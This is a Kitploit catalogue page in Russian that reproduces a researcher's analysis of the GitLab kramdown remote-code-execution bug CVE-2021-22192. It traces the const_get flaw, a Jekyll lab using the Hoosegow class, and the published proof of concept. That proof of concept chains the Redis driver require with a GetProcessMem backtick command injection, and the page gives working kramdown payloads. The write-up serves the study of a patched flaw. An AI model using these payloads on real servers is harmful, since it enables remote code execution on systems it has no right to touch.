Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Инструменты/GitHubGitHub/petrusviet/gitlab-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Репозиторий
1235 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анализ уязвимости RCE в GitLab (CVE-2021–22192)

I) Построение

  • Эта ошибка возникает в GitLab Community Edition (CE) и Enterprise Edition (EE) в версиях (>=13.2, <13.7.9), (>=13.8, <13.8.6) и (>=13.9, <13.9.4)
  • вы можете следовать инструкциям lyy289065406 для создания среды.

II) Анализ

Приступая к анализу этой ошибки, я получил лишь некоторую ценную информацию от lyy289065406, которая помогла мне понять суть этой ошибки. Кажется, ошибка в gem kramdown (<= 2.3.0), поэтому я начал изучать kramdown в первую очередь.

1. Kramdown

Мы можем проверить патч kramdown и увидеть разницу в функции formatter_class в модуле Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) было изменено на ::Rouge::Formatters.const_get(formatter, false)

Функция const_get наследуется от класса Object и может получать константы. Она даже может возвращать классы, объявленные ранее, если их можно найти. Разница лишь в добавлении параметра false. Добавление параметра false не позволяет const_get получать константы из родительских классов или модулей. Что ещё более важно: в функции self.call вызывается formatter_class, а затем new(opts). Это означает, что метод, полученный через const_get, будет вызывать конструктор для инициализации.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Вау, вау. Так как же можно эксплуатировать???

Основываясь на Kramdown:Options, мы можем вызвать функцию Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Кроме того, в модуле Kramdown:Options функция simple_hash_validator вызывает YAML.safe_load(val). Таким образом, мы также можем настроить YML-файл для передачи желаемой полезной нагрузки в Kramdown::Converter::SyntaxHighlighter::Rouge

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown используется Jekyll, GitLab Pages, GitHub Pages и Thredd Forum. Поэтому я решил сначала попробовать его с Jekyll.

2. Jekyll

Сначала нужно настроить Jekyll:

  • Установить Jekyll
root@kitploit:~
gem install jekyll
  • Создать страницу Jekyll с именем jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • Отредактировать файл Gemfile.lock, установив версию kramdown <= 2.3.0
root@kitploit:~
cd jekyllTest

Файл Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • установить страницу
root@kitploit:~
 bundle install

Таким образом, мы завершили создание страницы Jekyll. Теперь мы можем вставить полезную нагрузку, чтобы проверить, действительно ли Kramdown::Converter::SyntaxHighlighter::Rouge.call вызывает какой-либо метод.

мы можем добавить в файл ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Или использовать документ kramdown, добавив полезную нагрузку в ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Здесь я использую второй способ =)))))

  • запускаем развертывание страницы Jekyll
root@kitploit:~
bundle exec jekyll serve

возможно, вы получите ошибку "require': cannot load such file -- webrick (LoadError)", вам нужно добавить gem "webrick" в Gemfile

  • Мы видим сообщение об ошибке private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Это доказывает, что класс CSV был вызван.

Следующий шаг — определить, какой метод выбрать, чтобы вызов конструктора привел к RCE?

Согласно статье, анализирующей CVE-2020-10518, в которой используется ошибка в kramdown для RCE на Github. Я нацелился на класс Hoosegow:

  • В функции initialize класса Hoosegow вызывается load_inmate_methods
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • В load_inmate_methods мы видим, что вызывается require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • А inmate_file создается путем объединения строки @inmate_dir с 'inmate.rb'. Если мы сможем вызвать этот класс и изменить параметр inmate_dir на путь к нашему файлу полезной нагрузки, разве это не приведет к RCE?

  • Я запускаю скрипт в пути страницы Jekyll, чтобы проверить определенные методы:

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • К сожалению, нет класса с именем Hoosegow, даже если я избегаю преждевременного завершения скрипта, установив условие ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...

Оказывается, в моем class path не был объявлен класс Hoosegow. Я добавил gem "hoosegow" в Gemfile, и скрипт нашел этот класс. [Хе-хе-хе]

  • Затем попробуем вызвать Hoosegow через kramdown
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Бум. Ничего не произошло, класс Hoosegow не был вызван. =)))))))))
  • Я застрял здесь.. на неделю. Да, потерял неделю из-за этого. Я вертелся вокруг вопроса: "Почему в bundler уже есть класс Hoosegow, но при вызове из Kramdown он не работает? Должно же быть иначе ???"

  • Я подумал: "Если уже объявлено в Gemfile, значит, в class path уже есть этот класс. Тогда, если программа всё ещё не находит 'Hoosegow', значит, он не был загружен...". Так есть ли способ объявить gem так, чтобы при запуске Jekyll он загружался до обработки других частей исходного каталога?

  • Я прочитал документацию Jekyll и нашел jekyll_plugins. Объявления в Gemfile недостаточно, нужно объявить gem в группе jekyll_plugins, иначе не сработает :( потому что когда gem находится в jekyll_plugins, он будет загружен в любом случае до того, как Jekyll обработает другие источники. Даже при запуске Jekyll в безопасном режиме.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Я создал файл inmate.rb в C:/ и запустил полезную нагрузку:
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Файл inmate.rb был вызван. Таким образом, мы почти успешно воссоздали PoC, не так ли.

3. GitLab

  • В GitLab есть функция GitLab Pages, где можно развернуть страницу Jekyll. Поэтому я попытался развернуть полезную нагрузку в виде проекта страницы Jekyll (как в предыдущей части).
  • Вопрос в том, как загрузить файл inmate.rb на сервер GitLab и узнать, где находится только что загруженный файл inmate.rb??
  • Это довольно просто, если у нас есть разрешение на создание проекта и его развертывание в GitLab. Мы можем загрузить файл inmate.rb в наш собственный проект, а затем отредактировать файл .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Это позволяет нам узнать, где хранится наш проект. Отсюда мы можем создать свою полезную нагрузку :)

Почему мы можем редактировать файл .gitlab-ci.yml, имея возможность внедрять команды, и при этом зачем тратить время на написание PoC? Не идем ли мы по пути само-RCE?

  • Этот вопрос сразу возник, когда я редактировал файл .gitlab-ci.yml. Я пытался объяснить это разными способами: "Возможно, есть механизм сканирования файла .yml перед его загрузкой?"... но это меня не удовлетворило...
  • Я изучил, как GitLab развертывает GitLab Pages. Я заметил, что каждый раз при развертывании новой страницы или изменении какого-либо файла в проекте страниц GitLab Runner Server преобразует проект в статические веб-страницы, а затем отправляет их на веб-сервер GitLab. Это означает, что этот вектор эксплуатации максимум может захватить только Runner Server. Захват Runner Server не так уж и критичен, поскольку это всего лишь само-RCE. Что-то здесь не так.
  • Я поискал другой путь ввода — страницу wiki. Страница wiki позволяет использовать формат kramdown, поэтому я заподозрил и протестировал его, но безрезультатно, потому что я вставил полезную нагрузку только в файл по умолчанию '*.md', а файлы '*.md' имеют ограниченные функции, поэтому я отказался от этого пути :(

  • На этом я был вынужден остановиться и подождать публикации PoC, чтобы посвятить время другим исследованиям.

PoC опубликован

В один прекрасный день PoC был опубликован. Прочитав его, я почувствовал, как во мне просыпается сильное чувство "цыпленка", не говоря уже =)).

Основная проблема была в kramdown, и мы пошли по правильному пути, но путь к нему в GitLab оказался немного кривым =)

  • Автор обнаружил, что при загрузке страницы wiki с файлом '*.rmd' программа вызывает render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Таким образом, файл '*.rmd' будет обработан с помощью kramdown.

  • Автор загрузил свой файл '.rmd', клонировав страницу wiki на локальный компьютер, а затем используя git для отправки страницы wiki (с файлом '.rmd') в GitLab.

  • Автор использовал класс Redis (который уже объявлен в проекте GitLab, поэтому мы можем вызывать и использовать этот класс) для выполнения своей полезной нагрузки.

При инициализации класса Redis, если существует опция driver, программа вызывает функцию _parse_driver. Здесь программа выполняет require "connection/#{driver}", и мы можем повлиять на переменную driver, чтобы программа вызвала файл полезной нагрузки, загруженный на сервер.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • С помощью функции создания нового snippet атакующий может загрузить полезную нагрузку Ruby с помощью Attach a file.
  • В этом эксплойте атакующему нужно найти местоположение загруженного файла полезной нагрузки. Это привело автора к другому вектору эксплойта:

Используя путь от Kramdown к классу Redis, сначала автор импортирует gem get_process_mem с полезной нагрузкой:

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Затем он использует ранее импортированный gem get_process_mem для RCE:

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Таким образом, без необходимости находить адрес файла полезной нагрузки, атакующий все равно может выполнить RCE на сервере GitLab.

Ref:

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Скачать инструмент